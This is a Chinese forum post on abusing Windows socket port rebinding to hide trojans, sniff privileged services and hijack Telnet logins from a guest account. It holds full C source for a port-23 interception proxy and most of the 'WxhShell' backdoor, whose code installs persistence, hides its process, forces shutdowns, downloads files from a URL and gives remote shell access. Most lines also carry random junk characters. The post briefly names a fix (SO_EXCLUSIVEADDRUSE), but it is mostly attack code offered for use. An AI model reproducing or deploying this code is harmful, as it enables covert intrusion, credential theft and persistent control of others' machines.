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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0#hlsfc]\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "&u@d~`-n  
@Nx 9)  
  saddr.sin_family = AF_INET; q3!bky\  
h438`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \}b%E'+_T  
+ &Eqk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2%m BK  
_V6ukd"B~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \M^bD4';>  
U8?mc  
  这意味着什么?意味着可以进行如下的攻击: ^ZcGY+/~  
H7n>Vx:L-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KZE,bi: ~  
^yp{32  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gwMNYMI  
1Pu~X \sO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5t]H?b8  
XRi8Gpg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {EQOP]  
rEW b"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &h/X ku&0  
m-, x<bM?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aW7^d'ZZ\  
)y$(AJx$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f ;n3&e0eC  
VI86KJu  
  #include U Cjld  
  #include :vbW  
  #include Wne@<+mX  
  #include    )SGq[B6@I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hwv/AnX~O  
  int main() %'pgGC"|  
  { (GfZ*  
  WORD wVersionRequested; @ j/a=4o[  
  DWORD ret; s$j,9uRr  
  WSADATA wsaData;  @q) d  
  BOOL val; P*j|.63  
  SOCKADDR_IN saddr; ckCE1e>s  
  SOCKADDR_IN scaddr; |sE'XT4ag  
  int err; T>W,'H  
  SOCKET s; +N U G  
  SOCKET sc; t?FBG4  
  int caddsize; r~['VhI!;E  
  HANDLE mt; ~P-mC@C  
  DWORD tid;   >A"(KSNL  
  wVersionRequested = MAKEWORD( 2, 2 ); Eu3E-K@y  
  err = WSAStartup( wVersionRequested, &wsaData ); ~k5W@`"W  
  if ( err != 0 ) { *vMn$,^0h9  
  printf("error!WSAStartup failed!\n"); iy.\=Cs$N  
  return -1; X:{!n({r=  
  } [:*)XeRK  
  saddr.sin_family = AF_INET; m1AJ{cs  
   jPkn[W# 6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hDGF7  
#/37V2E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B9S@(/"7  
  saddr.sin_port = htons(23); e*1_8I#2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *LY8D<:zs  
  { oXgcc*j  
  printf("error!socket failed!\n"); !;'=iNOYR  
  return -1; K*dCc}:`  
  } 7G],T++N  
  val = TRUE; 2 yz _  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _)-o1`*-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^LLzZnkcZ  
  { xgtR6E^k  
  printf("error!setsockopt failed!\n"); % & bY]w  
  return -1; 69.NPy@  
  } &%Tj/Qx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =2x^nW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PPsE${!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z3!`J&  
 9gZ$   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Rf 1x`wml  
  { x,Vr=FB  
  ret=GetLastError(); (7*}-Uy[C  
  printf("error!bind failed!\n"); =vhm}  
  return -1; $ME)#(  
  } 3;Fhg!Z O  
  listen(s,2); E_LN]v  
  while(1) T[j,UkgGo  
  { 5kXYeP3:  
  caddsize = sizeof(scaddr); :~^ (g$Z  
  //接受连接请求 rVsJ`+L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e(G |;a  
  if(sc!=INVALID_SOCKET) !f6(Zho  
  { %~S&AE-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T]p-0?=4vv  
  if(mt==NULL) B7vpsSL  
  { >F&47Yn  
  printf("Thread Creat Failed!\n"); 6LZ;T.0o  
  break; Rws3V"{`[  
  } 5/z/>D;  
  } \nqS+on]  
  CloseHandle(mt); :eLVC7'  
  } 29q _BR *:  
  closesocket(s); N,U8YO  
  WSACleanup(); b>9>uC@J15  
  return 0; WMP,\=6k0  
  }   @xZR9Z8]L  
  DWORD WINAPI ClientThread(LPVOID lpParam) xn|(9#1o  
  { BFW&2  
  SOCKET ss = (SOCKET)lpParam; }4S6Xe  
  SOCKET sc; [PKR2UEe]  
  unsigned char buf[4096]; ei5~&  
  SOCKADDR_IN saddr; =E{`^IT'R  
  long num; aFIw=c(nP  
  DWORD val; W+1^4::+  
  DWORD ret; R_xRp&5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7vj2 `+r.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kz7(Z'pw  
  saddr.sin_family = AF_INET; G9vpt M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K'I#W lg  
  saddr.sin_port = htons(23); G<;*SYAb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -n5)w*b,  
  { q6X1P" %.  
  printf("error!socket failed!\n"); f'3$9x  
  return -1; 5+ MS^H  
  } ~.lPEA %%  
  val = 100; ##4HYQ%E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y:)e(c"A  
  { eGbG w  
  ret = GetLastError(); 9k[9P;"F:  
  return -1; mU9kVx1+  
  } ]:/Q]n^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Os_vlapHo  
  { 5d!-G$ @  
  ret = GetLastError(); &XUiKnNW  
  return -1; R .2wqkY  
  } % +\. " eC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VTHH&$ZNq  
  { (0kK_k'T  
  printf("error!socket connect failed!\n"); {+Cy U!O  
  closesocket(sc); H~z`]5CN  
  closesocket(ss); d9|<@A  
  return -1; 0}dpK $.  
  } y Fq&8 x<X  
  while(1) 2Q:+_v  
  { c_!cv":s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ! #2{hQRu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K8Y=S12Ti  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jsi!fx2Rm  
  num = recv(ss,buf,4096,0); G[q$QB+  
  if(num>0) S#} KIy  
  send(sc,buf,num,0); <dhM\^ [  
  else if(num==0) >`ZyG5  
  break; 4d;8`66O  
  num = recv(sc,buf,4096,0); wZZt  
  if(num>0) 3I-MdApT  
  send(ss,buf,num,0); XACm[NY_  
  else if(num==0) Nf1-!u7  
  break; WaR`Kp+>  
  } mF^v~  
  closesocket(ss); 0b(N^$js'  
  closesocket(sc); pBA7,z"`mP  
  return 0 ; ^eYVWQ'  
  } GYUn6P  
WbqWG^W  
RF0HjgP  
========================================================== #],&>n7'  
i5,kd~%O  
下边附上一个代码,,WXhSHELL x>`%DwoRI  
LOV)3{m  
========================================================== :'*~uJrR  
X1vd'>  
#include "stdafx.h" l$bu%SZ  
=^50FI|  
#include <stdio.h> P;]F(in=  
#include <string.h> ysf~|r4s  
#include <windows.h> >_ 2dvg=U  
#include <winsock2.h> %UCr;H/  
#include <winsvc.h> =D#bb <o  
#include <urlmon.h> ]G< Vg5  
/,Re "!jh  
#pragma comment (lib, "Ws2_32.lib") xLH)P<^`C  
#pragma comment (lib, "urlmon.lib") PQ$%H>{  
?|B&M\}g  
#define MAX_USER   100 // 最大客户端连接数 s 15 oN  
#define BUF_SOCK   200 // sock buffer ptxbDzOz  
#define KEY_BUFF   255 // 输入 buffer e|WJQd4+S  
yT9@!]^L  
#define REBOOT     0   // 重启 \<TXS)w]  
#define SHUTDOWN   1   // 关机 CDR@ `1-  
Oh6fj}eK  
#define DEF_PORT   5000 // 监听端口 $F+ LDs  
j@uOOhy  
#define REG_LEN     16   // 注册表键长度 !s?nJ(p  
#define SVC_LEN     80   // NT服务名长度 .rqhi  
6 EC*   
// 从dll定义API en*GM}<V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (uZ&V7l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K\6u9BYG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @x'"~"%7b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^mO~ W!"  
y^v6AM  
// wxhshell配置信息 F Yzi~L  
struct WSCFG { J!pygn O  
  int ws_port;         // 监听端口 nWYN Np?h  
  char ws_passstr[REG_LEN]; // 口令 YhE+W  
  int ws_autoins;       // 安装标记, 1=yes 0=no bU:EqW\(^  
  char ws_regname[REG_LEN]; // 注册表键名 'yG4 LF  
  char ws_svcname[REG_LEN]; // 服务名 RM]M@%,K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5T2CISmu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZE=Sp=@)j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8hJ%JEzga  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PV\+P6aIb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9s$CA4?HP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *<jAiB ,O*  
D"rK(  
}; g<f <Ip=  
"haL  
// default Wxhshell configuration .e=:RkI,  
struct WSCFG wscfg={DEF_PORT,  SVs_dG$  
    "xuhuanlingzhe", Be=u&T:~  
    1, q?DTMKx  
    "Wxhshell",  s ;oQS5Y  
    "Wxhshell", Y^7$t^&  
            "WxhShell Service", >dG;w6y'  
    "Wrsky Windows CmdShell Service", h WtVWVNL  
    "Please Input Your Password: ", W=Mb  
  1, S^>,~R.TX  
  "http://www.wrsky.com/wxhshell.exe", > BY&,4r  
  "Wxhshell.exe" o(LFh[  
    }; ,t9^j3Ixg  
Yu[ t\/  
// 消息定义模块 M&@b><B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g Vv>9W('  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m)v"3ib  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8I8 F/47x  
char *msg_ws_ext="\n\rExit."; o+QE8H43  
char *msg_ws_end="\n\rQuit."; !GLz)#SBl  
char *msg_ws_boot="\n\rReboot..."; 9N<<{rQ,F  
char *msg_ws_poff="\n\rShutdown..."; 1[qLA!+  
char *msg_ws_down="\n\rSave to ";  TYmP)  
(\a]"g,]v  
char *msg_ws_err="\n\rErr!"; eg?<mKrZ  
char *msg_ws_ok="\n\rOK!"; m-*i>4;  
iZNts%Y]  
char ExeFile[MAX_PATH]; {VvqO7A  
int nUser = 0; ^xHTWg%9  
HANDLE handles[MAX_USER]; !2A:"2Kys:  
int OsIsNt; V_RTI.3p  
?R Oqn6k&c  
SERVICE_STATUS       serviceStatus; OjF_ %5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wztA3ZL*W1  
~Ro9u p  
// 函数声明 ,M6 Sy]Aj  
int Install(void); H]p!\H  
int Uninstall(void); J'fQW<T4wU  
int DownloadFile(char *sURL, SOCKET wsh); Bck7\  
int Boot(int flag); y[\VUzD*'  
void HideProc(void); T[uiPs /xD  
int GetOsVer(void); :Jy'# c  
int Wxhshell(SOCKET wsl); P h}|dGb  
void TalkWithClient(void *cs); "D'B3; uWK  
int CmdShell(SOCKET sock); T/xp?Vq6/  
int StartFromService(void); Y$Y_fjd_  
int StartWxhshell(LPSTR lpCmdLine); {%{ `l-  
!{ )tSipd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nwt" \3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &f^l ^K 5:  
g'=B%eO$j:  
// 数据结构和表定义 t{FlB!jv  
SERVICE_TABLE_ENTRY DispatchTable[] = 8&~~j7p,  
{ bH2MdU  
{wscfg.ws_svcname, NTServiceMain}, UkHY[M7;  
{NULL, NULL} UIAj]  
}; <Ib[82PU  
_~tEw.fM5  
// 自我安装 _5m#2u51i  
int Install(void) *gF<m9&  
{ S h,&{z!  
  char svExeFile[MAX_PATH]; CQr<N w  
  HKEY key; vRxM4O~"  
  strcpy(svExeFile,ExeFile); Da:unVbU  
HJ[/|NZU$  
// 如果是win9x系统,修改注册表设为自启动 ?wF'<kEH  
if(!OsIsNt) { +1!qs,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -zO2|@S,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7aYn0_NKp  
  RegCloseKey(key); PN<C=gAe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B Ma)O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "zY](P  
  RegCloseKey(key); >,gvb5  
  return 0; U{$1[,f  
    } XfE -fH1j  
  } 2gjGeM  
} )VK }m9Ae  
else { G #T<`>T  
|*X*n*oI  
// 如果是NT以上系统,安装为系统服务 + "}=d3E6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s/e"'Hz  
if (schSCManager!=0) qG/fE'(j&  
{ /?6|&  
  SC_HANDLE schService = CreateService gx:;&4AD  
  ( q )lnS )  
  schSCManager, 8; R|  
  wscfg.ws_svcname, <U9/InN0[  
  wscfg.ws_svcdisp, mNAY%Wn6k  
  SERVICE_ALL_ACCESS, xwZ8D<e-,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (zYy }g#n  
  SERVICE_AUTO_START, 4YMX|1wd)  
  SERVICE_ERROR_NORMAL, ]$ b<Gs  
  svExeFile, c<BO gNr  
  NULL, l\!-2 T6Y  
  NULL, %T=A{<[`  
  NULL,  /n^c>)  
  NULL, qxJQPz  
  NULL rf9_eP  
  ); HFQR ;9]  
  if (schService!=0) Ld,5iBiO:  
  { "4j:[9vR\  
  CloseServiceHandle(schService); geefnb  
  CloseServiceHandle(schSCManager); PaCzr5!~f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YIp-Y}6  
  strcat(svExeFile,wscfg.ws_svcname); {,j6\Cj4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Lqt( c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \hP=-J[~C  
  RegCloseKey(key); 0-3rQ~u  
  return 0; ,Ci/xnI  
    } cM&'[CI  
  } :y,v&Kk#T  
  CloseServiceHandle(schSCManager); r\9TMg`C  
} z&$/EP-  
} dYojm1MQ  
z&3]%t `C  
return 1; i(wgB\9i4  
} gCVryB@z2  
`Xc irfp  
// 自我卸载 VLg EX4  
int Uninstall(void) N\1/JW+  
{ 4`2$_T$ F  
  HKEY key; IdRdW{o  
I/COqU7~  
if(!OsIsNt) { g.#+z'l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g "!\\:M  
  RegDeleteValue(key,wscfg.ws_regname); gS"Q=ZK"  
  RegCloseKey(key); OalP1Gy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vh>{_ #  
  RegDeleteValue(key,wscfg.ws_regname); Gwd{#7FM`  
  RegCloseKey(key); EH+~].PJd  
  return 0; 3On JWuVfZ  
  } ^,2c-  
} cc >  
} o;-<|W>  
else { l@d gJ  
H] qq ~bO[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?:|YGLaB  
if (schSCManager!=0) i@<~"~>]7  
{ hD 46@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n2;9geq+  
  if (schService!=0) Q.(51]'  
  { + >sci  
  if(DeleteService(schService)!=0) { oG_~3Kt  
  CloseServiceHandle(schService); 2Yyb#Ow  
  CloseServiceHandle(schSCManager); 8g5V,3_6  
  return 0; 9|K*G~J  
  } GMFc K=  
  CloseServiceHandle(schService); T=? bdIl  
  } JY4_v>Aob  
  CloseServiceHandle(schSCManager); REx[`x,GUh  
} {u]CHN`%Z  
} [w%#<5h  
*t =i  
return 1; mvf _@2^  
} Nz]aaoO4  
2v|qLf e1  
// 从指定url下载文件 F|]rA*2u  
int DownloadFile(char *sURL, SOCKET wsh) pB'x_z  
{ )b9I@)C  
  HRESULT hr; Rc7.M"wzjX  
char seps[]= "/"; ip5u_Xj ?  
char *token; ^X;JT=r  
char *file; #6FaIq92V  
char myURL[MAX_PATH]; ],V kp  
char myFILE[MAX_PATH];  'O1.6*K  
)% |r>{  
strcpy(myURL,sURL); ` t\z   
  token=strtok(myURL,seps); xXa#J)'  
  while(token!=NULL) .5k^f5a  
  { [xS5z1;  
    file=token; Alh?0Fk3)  
  token=strtok(NULL,seps); 2vXGO|W  
  } Hrv),Ce  
,yi2O]5e>!  
GetCurrentDirectory(MAX_PATH,myFILE); gx&73f<J  
strcat(myFILE, "\\"); }-@I#9  
strcat(myFILE, file); fsb=8>}63}  
  send(wsh,myFILE,strlen(myFILE),0); E#~2wqK  
send(wsh,"...",3,0); iDvpXn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IHfSkFz`j  
  if(hr==S_OK) @>9A$w$H|a  
return 0; RQJ9MG w  
else z5I^0'  
return 1; :6sGX p  
^"/Dih\_  
} I]UA0[8X  
$u- lo|  
// 系统电源模块 {C,  #rj  
int Boot(int flag) vD"_X"v  
{ 9M19 UP&  
  HANDLE hToken; {)jk_&c7  
  TOKEN_PRIVILEGES tkp; z'v9j_\  
GHqBnE{B  
  if(OsIsNt) { c8!j6\dC*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )uu wwz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -{r!M(47  
    tkp.PrivilegeCount = 1; 4jPwL|#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } pSt@3o,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )<tzm'Rc  
if(flag==REBOOT) { 1pl2;!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y~}QJ+`?  
  return 0; U &f#V=Rg  
} Y# .6d  
else { -y9Pn>~V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kkG_ +Y  
  return 0; e*6U |+kJ  
} |^\ Hv5  
  } KX$qM g1j  
  else { WCWSLEAza  
if(flag==REBOOT) { 6qY\7R2+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yDDghW'\WU  
  return 0; /,-h%gj  
} W'm!f  
else { @5JLjCN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | 3hT{  
  return 0; Jq=X!mT d.  
} `mh-pBVD1  
} zLE>kK  
dY48S{  
return 1; :4Id7Ce  
} + 6i7,U  
YY1{v?[  
// win9x进程隐藏模块 w+URCj  
void HideProc(void) A} x_zt  
{ g!~-^_F  
ym-lT|>Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FCUVP,"T  
  if ( hKernel != NULL ) JMl ,  N  
  { ?HEo9/ *7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5#N"WHz!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FkB6*dm-  
    FreeLibrary(hKernel); tU-#pB>H  
  } . x\/XlM  
G!> iqG  
return; Xs.$2  
} gdkLPZ<<  
@ U7#, G  
// 获取操作系统版本 >b/k|?xP  
int GetOsVer(void) bahc{ZC2  
{ wz|Q%.%?[  
  OSVERSIONINFO winfo; 0%q{UW2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +S:u[x  
  GetVersionEx(&winfo); `W.vW8 !#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ePPp)=  
  return 1; @[[C s*-  
  else "`8H:y  
  return 0; g9 grfN  
} 5KA FUR0  
OLd$oxKR  
// 客户端句柄模块 _dJVnC1 !  
int Wxhshell(SOCKET wsl) 6@ (k8<3  
{ m,"cbJ /  
  SOCKET wsh; %i]uW\~U  
  struct sockaddr_in client; y:^>(l#;  
  DWORD myID; k7Be'E BKG  
]w&?k:y>  
  while(nUser<MAX_USER) OJC*|kN-#^  
{ S9F]!m^i  
  int nSize=sizeof(client); `*2*xDuP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >8Yrmq  
  if(wsh==INVALID_SOCKET) return 1; ^|:{,d#Y  
#u]_7/(</`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X=!n,=xI  
if(handles[nUser]==0) (<:rKp  
  closesocket(wsh); V~gUMu4ot  
else D/%b@Ls2ze  
  nUser++; l52n/w#qFB  
  } sLpCWIy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \qK}(xq[  
ovBd%wJ 0  
  return 0; ?#{2?%_  
} 88+\mX;A#  
*{p& Fy55  
// 关闭 socket lDX&v$  
void CloseIt(SOCKET wsh) Stp*JU  
{ FO3eg"{N  
closesocket(wsh); 9 %.<V_$  
nUser--; *"9)a6T t+  
ExitThread(0); }FdcbNsP  
} }s)&/~6  
7<C~D,x6  
// 客户端请求句柄 A1s=;qr  
void TalkWithClient(void *cs) NcY0pAR*  
{ BNKo6:wy  
,+5VeRyrV  
  SOCKET wsh=(SOCKET)cs; X-) ]lAP  
  char pwd[SVC_LEN]; =D"63fP1  
  char cmd[KEY_BUFF]; HZQ3Ht3Vh  
char chr[1]; $\J9F=<a  
int i,j; )GT?Wd  
~9>[U%D  
  while (nUser < MAX_USER) { \oZUG  
yp/V 8C  
if(wscfg.ws_passstr) { lIc9, |FL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2BU)qv-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {O,M}0Eg  
  //ZeroMemory(pwd,KEY_BUFF); k)GuMw  
      i=0; ~^ 5n$jq  
  while(i<SVC_LEN) { b)`#^uxxJ  
F p=Q$J|  
  // 设置超时 [q{Txe  
  fd_set FdRead; pj-HLuZR  
  struct timeval TimeOut; H5MAN,`  
  FD_ZERO(&FdRead); <XcMc<h~  
  FD_SET(wsh,&FdRead); b0x0CMf  
  TimeOut.tv_sec=8; =4\~M"[p  
  TimeOut.tv_usec=0; 7Mg7B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !U~#H_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?RAR  
8q[WfD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X ^ ]$/rI)  
  pwd=chr[0]; )0V]G{QN  
  if(chr[0]==0xd || chr[0]==0xa) { F,2#;t4  
  pwd=0; |}y}o:(  
  break; +dpj?  
  } W ]MJ!4  
  i++; GYmBxX87  
    } JkDZl?x5  
tSLl'XeN  
  // 如果是非法用户,关闭 socket R6o<p<fTh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :q[n1 O[Ch  
} mqc Z3lsv  
]=VI"v<X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,$ret@.H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NJ!#0[@C  
Ywq+l]5/p  
while(1) { $5(%M8qmQ  
`%I{l  
  ZeroMemory(cmd,KEY_BUFF); #/=yz<B  
`l#$l3v+  
      // 自动支持客户端 telnet标准   g' U^fN  
  j=0; zszx@`/3  
  while(j<KEY_BUFF) { : 2d9ZDyD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qf$|z`c  
  cmd[j]=chr[0]; R@aT=\u+  
  if(chr[0]==0xa || chr[0]==0xd) { #e|kA&+8M  
  cmd[j]=0; o*BI^4  
  break; 1OeDWEcB  
  } ?kefRev<#h  
  j++; w' >v@`y  
    } 7B :aJfxM  
2b` M(QL  
  // 下载文件 [6qP;  
  if(strstr(cmd,"http://")) { ;$;/#8`>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G\AQql(f4  
  if(DownloadFile(cmd,wsh)) d0,F'?.0|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \~1+T  
  else >p:fWQ6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oABPGyv  
  } = F<`-6  
  else { U<gw<[>f  
Tr!X2#)A!  
    switch(cmd[0]) { }'- )  
  :M`BVZ1t  
  // 帮助 Ip-jqN J~  
  case '?': { KgS xF#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "G(/MT^C  
    break; UGgi)  
  } +y(h/NcQ  
  // 安装 6*Qpq7Ml  
  case 'i': { ^Y |s^N  
    if(Install()) [i_x 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca|;8ggf  
    else HPB1d!^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[jItg,+  
    break; c5pG?jr+d  
    } WLb7]rCTp  
  // 卸载 ( PlNaasV  
  case 'r': { M?lr#} d  
    if(Uninstall()) AR^Di`n!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " Xc=<rX  
    else 3\ed4D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9b6h!(  
    break; RPwSo.c4  
    } `!N?#N:b)  
  // 显示 wxhshell 所在路径 471}'3  
  case 'p': { Y.J$f<[R  
    char svExeFile[MAX_PATH]; ^` THV  
    strcpy(svExeFile,"\n\r"); vD t? N9  
      strcat(svExeFile,ExeFile); s]UeDZ <a  
        send(wsh,svExeFile,strlen(svExeFile),0); KivzgNz  
    break; 3&f{lsLAC  
    } J .d<5`7   
  // 重启 pz+#1=b]  
  case 'b': { iDr0_y*t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VXp X#O  
    if(Boot(REBOOT)) u QCS%|8C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3( kZfH~  
    else { d|3[MnU[a  
    closesocket(wsh); !v=ha%w{  
    ExitThread(0); '1<QK  
    } gqd#rjtfz  
    break; >b0}X)Z+U  
    } N{0 D<"  
  // 关机 FU zY&@Y  
  case 'd': { %0QYkHdFR`  
